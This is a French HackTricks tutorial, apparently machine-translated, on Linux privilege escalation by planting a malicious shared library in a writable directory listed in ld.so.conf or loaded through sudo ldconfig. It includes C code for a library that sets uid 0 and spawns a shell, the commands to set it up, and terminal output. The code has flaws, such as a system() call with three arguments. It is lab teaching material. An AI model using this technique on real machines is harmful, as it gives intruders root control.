Français - Ht
HackTricks TrainingTwitterLinkedinSponsor

ld.so privesc exploit example

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Préparer l'environnement

Dans la section suivante, vous pouvez trouver le code des fichiers que nous allons utiliser pour préparer l'environnement

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}

  1. Créez ces fichiers sur votre machine dans le même dossier

  2. Compilez la bibliothèque : gcc -shared -o libcustom.so -fPIC libcustom.c

  3. Copiez libcustom.so dans /usr/lib : sudo cp libcustom.so /usr/lib (droits root)

  4. Compilez l'exécutable : gcc sharedvuln.c -o sharedvuln -lcustom

Vérifiez l'environnement

Vérifiez que libcustom.so est chargée depuis /usr/lib et que vous pouvez exécuter le binaire.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

Dans ce scénario, nous allons supposer que quelqu'un a créé une entrée vulnérable à l'intérieur d'un fichier dans /etc/ld.so.conf/ :

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Le dossier vulnérable est /home/ubuntu/lib (où nous avons un accès en écriture). Téléchargez et compilez le code suivant à l'intérieur de ce chemin :

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Maintenant que nous avons créé la bibliothèque malveillante libcustom à l'intérieur du chemin mal configuré, nous devons attendre un redémarrage ou que l'utilisateur root exécute ldconfig (si vous pouvez exécuter ce binaire en tant que sudo ou s'il a le bit suid, vous pourrez l'exécuter vous-même).

Une fois cela fait, revérifiez d'où l'exécutable sharevuln charge la bibliothèque libcustom.so :

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Comme vous pouvez le voir, il charge depuis /home/ubuntu/lib et si un utilisateur l'exécute, un shell sera exécuté :

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Notez que dans cet exemple, nous n'avons pas élevé les privilèges, mais en modifiant les commandes exécutées et en attendant qu'un utilisateur privilégié ou root exécute le binaire vulnérable, nous pourrons élever les privilèges.

Autres mauvaises configurations - Même vulnérabilité

Dans l'exemple précédent, nous avons simulé une mauvaise configuration où un administrateur a défini un dossier non privilégié dans un fichier de configuration dans /etc/ld.so.conf.d/. Mais il existe d'autres mauvaises configurations qui peuvent causer la même vulnérabilité, si vous avez des permissions d'écriture sur un fichier de configuration à l'intérieur de /etc/ld.so.conf.d, dans le dossier /etc/ld.so.conf.d ou dans le fichier /etc/ld.so.conf, vous pouvez configurer la même vulnérabilité et l'exploiter.

Exploit 2

Supposons que vous ayez des privilèges sudo sur ldconfig. Vous pouvez indiquer à ldconfig où charger les fichiers de configuration, donc nous pouvons en profiter pour faire charger à ldconfig des dossiers arbitraires. Alors, créons les fichiers et dossiers nécessaires pour charger "/tmp" :

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Maintenant, comme indiqué dans l'exploit précédent, créez la bibliothèque malveillante dans /tmp. Et finalement, chargeons le chemin et vérifions d'où le binaire charge la bibliothèque :

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Comme vous pouvez le voir, avoir des privilèges sudo sur ldconfig vous permet d'exploiter la même vulnérabilité.

Je n'ai pas trouvé de moyen fiable d'exploiter cette vuln si ldconfig est configuré avec le bit suid. L'erreur suivante apparaît : /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !

Autres moyens de soutenir HackTricks :

PreviousLogstashNextLinux Active Directory

Last updated